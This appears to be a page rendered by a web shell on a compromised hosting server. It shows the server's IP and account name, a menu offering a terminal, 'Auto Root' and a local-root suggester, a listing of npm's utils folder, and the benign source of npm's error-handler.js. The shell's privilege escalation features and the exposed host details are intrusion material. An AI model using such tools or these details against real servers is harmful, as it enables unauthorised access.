Linux cambridge2.uknoc5.com 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
LiteSpeed
Server IP : 92.48.92.37 & Your IP : 18.119.113.26
Domains :
Cant Read [ /etc/named.conf ]
User : drazizulhaq
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
node_modules /
npm /
lib /
utils /
Delete
Unzip
Name
Size
Permission
Date
Action
completion
[ DIR ]
drwxr-xr-x
2024-12-16 14:12
ansi-trim.js
211
B
-rw-r--r--
2021-03-10 14:36
cache-file.js
1.7
KB
-rw-r--r--
2021-03-10 14:36
child-path.js
290
B
-rw-r--r--
2021-03-10 14:36
completion.sh
1.74
KB
-rw-r--r--
2021-03-10 14:36
correct-mkdir.js
1.24
KB
-rw-r--r--
2021-03-10 14:36
deep-sort-object.js
363
B
-rw-r--r--
2021-03-10 14:36
depr-check.js
451
B
-rw-r--r--
2021-03-10 14:36
did-you-mean.js
446
B
-rw-r--r--
2021-03-10 14:36
error-handler.js
6.04
KB
-rw-r--r--
2021-03-10 14:36
error-message.js
13.44
KB
-rw-r--r--
2021-03-10 14:36
escape-arg.js
657
B
-rw-r--r--
2021-03-10 14:36
escape-exec-path.js
761
B
-rw-r--r--
2021-03-10 14:36
funding.js
4.48
KB
-rw-r--r--
2021-03-10 14:36
gently-rm.js
484
B
-rw-r--r--
2021-03-10 14:36
git.js
1.7
KB
-rw-r--r--
2021-03-10 14:36
gunzip-maybe.js
556
B
-rw-r--r--
2021-03-10 14:36
is-registry.js
294
B
-rw-r--r--
2021-03-10 14:36
is-windows-bash.js
166
B
-rw-r--r--
2021-03-10 14:36
is-windows-shell.js
153
B
-rw-r--r--
2021-03-10 14:36
is-windows.js
59
B
-rw-r--r--
2021-03-10 14:36
lifecycle-cmd.js
496
B
-rw-r--r--
2021-03-10 14:36
lifecycle.js
364
B
-rw-r--r--
2021-03-10 14:36
link.js
234
B
-rw-r--r--
2021-03-10 14:36
locker.js
1.81
KB
-rw-r--r--
2021-03-10 14:36
metrics-launch.js
1.08
KB
-rw-r--r--
2021-03-10 14:36
metrics.js
2.17
KB
-rw-r--r--
2021-03-10 14:36
module-name.js
973
B
-rw-r--r--
2021-03-10 14:36
move.js
290
B
-rw-r--r--
2021-03-10 14:36
no-progress-while-running.js
541
B
-rw-r--r--
2021-03-10 14:36
open-url.js
819
B
-rw-r--r--
2021-03-10 14:36
otplease.js
721
B
-rw-r--r--
2021-03-10 14:36
output.js
210
B
-rw-r--r--
2021-03-10 14:36
package-id.js
399
B
-rw-r--r--
2021-03-10 14:36
parse-json.js
653
B
-rw-r--r--
2021-03-10 14:36
perf.js
548
B
-rw-r--r--
2021-03-10 14:36
pick-manifest-from-registry-metadata.js
895
B
-rw-r--r--
2021-03-10 14:36
pulse-till-done.js
783
B
-rw-r--r--
2021-03-10 14:36
read-local-package.js
329
B
-rw-r--r--
2021-03-10 14:36
read-user-info.js
2.08
KB
-rw-r--r--
2021-03-10 14:36
replace-info.js
556
B
-rw-r--r--
2021-03-10 14:36
save-stack.js
349
B
-rw-r--r--
2021-03-10 14:36
spawn.js
1.38
KB
-rw-r--r--
2021-03-10 14:36
temp-filename.js
173
B
-rw-r--r--
2021-03-10 14:36
umask.js
343
B
-rw-r--r--
2021-03-10 14:36
unix-format-path.js
85
B
-rw-r--r--
2021-03-10 14:36
unsupported.js
1.29
KB
-rw-r--r--
2021-03-10 14:36
usage.js
576
B
-rw-r--r--
2021-03-10 14:36
warn-deprecated.js
556
B
-rw-r--r--
2021-03-10 14:36
Save
Rename
module.exports = errorHandler module.exports.exit = exit var cbCalled = false var log = require('npmlog') var npm = require('../npm.js') var itWorked = false var path = require('path') var wroteLogFile = false var exitCode = 0 var rollbacks = npm.rollbacks var chain = require('slide').chain var errorMessage = require('./error-message.js') var replaceInfo = require('./replace-info.js') var stopMetrics = require('./metrics.js').stop const cacheFile = require('./cache-file.js') var logFileName function getLogFile () { if (!logFileName) { logFileName = path.resolve(npm.config.get('cache'), '_logs', (new Date()).toISOString().replace(/[.:]/g, '_') + '-debug.log') } return logFileName } var timings = { version: npm.version, command: process.argv.slice(2), logfile: null } process.on('timing', function (name, value) { if (timings[name]) { timings[name] += value } else { timings[name] = value } }) process.on('exit', function (code) { process.emit('timeEnd', 'npm') log.disableProgress() if (npm.config && npm.config.loaded && npm.config.get('timing')) { try { timings.logfile = getLogFile() cacheFile.append('_timing.json', JSON.stringify(timings) + '\n') } catch (_) { // ignore } } // kill any outstanding stats reporter if it hasn't finished yet stopMetrics() if (code) itWorked = false if (itWorked) { log.info('ok') } else { if (!cbCalled) { log.error('', 'cb() never called!') console.error('') log.error('', 'This is an error with npm itself. Please report this error at:') log.error('', ' <https://npm.community>') writeLogFile() } if (code) { log.verbose('code', code) } } if (npm.config && npm.config.loaded && npm.config.get('timing') && !wroteLogFile) writeLogFile() if (wroteLogFile) { // just a line break if (log.levels[log.level] <= log.levels.error) console.error('') log.error( '', [ 'A complete log of this run can be found in:', ' ' + getLogFile() ].join('\n') ) wroteLogFile = false } var doExit = npm.config && npm.config.loaded && npm.config.get('_exit') if (doExit) { // actually exit. if (exitCode === 0 && !itWorked) { exitCode = 1 } if (exitCode !== 0) process.exit(exitCode) } else { itWorked = false // ready for next exit } }) function exit (code, noLog) { exitCode = exitCode || process.exitCode || code var doExit = npm.config && npm.config.loaded ? npm.config.get('_exit') : true log.verbose('exit', [code, doExit]) if (log.level === 'silent') noLog = true if (rollbacks.length) { chain(rollbacks.map(function (f) { return function (cb) { npm.commands.unbuild([f], true, cb) } }), function (er) { if (er) { log.error('error rolling back', er) if (!code) { errorHandler(er) } else { if (!noLog) writeLogFile() reallyExit(er) } } else { if (!noLog && code) writeLogFile() reallyExit() } }) rollbacks.length = 0 } else if (code && !noLog) { writeLogFile() } else { reallyExit() } function reallyExit (er) { if (er && !code) code = typeof er.errno === 'number' ? er.errno : 1 itWorked = !code // Exit directly -- nothing in the CLI should still be running in the // background at this point, and this makes sure anything left dangling // for whatever reason gets thrown away, instead of leaving the CLI open // // Commands that expect long-running actions should just delay `cb()` process.stdout.write('', () => { process.exit(code) }) } } function errorHandler (er) { log.disableProgress() if (!npm.config || !npm.config.loaded) { // logging won't work unless we pretend that it's ready er = er || new Error('Exit prior to config file resolving.') console.error(er.stack || er.message) } if (cbCalled) { er = er || new Error('Callback called more than once.') } cbCalled = true if (!er) return exit(0) if (typeof er === 'string') { log.error('', er) return exit(1, true) } else if (!(er instanceof Error)) { log.error('weird error', er) return exit(1, true) } var m = er.code || er.message.match(/^(?:Error: )?(E[A-Z]+)/) if (m && !er.code) { er.code = m } ;[ 'type', 'stack', 'statusCode', 'pkgid' ].forEach(function (k) { var v = er[k] if (!v) return v = replaceInfo(v) log.verbose(k, v) }) log.verbose('cwd', process.cwd()) var os = require('os') var args = replaceInfo(process.argv) log.verbose('', os.type() + ' ' + os.release()) log.verbose('argv', args.map(JSON.stringify).join(' ')) log.verbose('node', process.version) log.verbose('npm ', 'v' + npm.version) ;[ 'code', 'syscall', 'file', 'path', 'dest', 'errno' ].forEach(function (k) { var v = er[k] if (v) log.error(k, v) }) var msg = errorMessage(er) msg.summary.concat(msg.detail).forEach(function (errline) { log.error.apply(log, errline) }) if (npm.config && npm.config.get('json')) { var error = { error: { code: er.code, summary: messageText(msg.summary), detail: messageText(msg.detail) } } console.log(JSON.stringify(error, null, 2)) } exit(typeof er.errno === 'number' ? er.errno : 1) } function messageText (msg) { return msg.map(function (line) { return line.slice(1).join(' ') }).join('\n') } function writeLogFile () { if (wroteLogFile) return var os = require('os') try { var logOutput = '' log.record.forEach(function (m) { var pref = [m.id, m.level] if (m.prefix) pref.push(m.prefix) pref = pref.join(' ') m.message.trim().split(/\r?\n/).map(function (line) { return (pref + ' ' + line).trim() }).forEach(function (line) { logOutput += line + os.EOL }) }) cacheFile.write(getLogFile(), logOutput) // truncate once it's been written. log.record.length = 0 wroteLogFile = true } catch (ex) { } }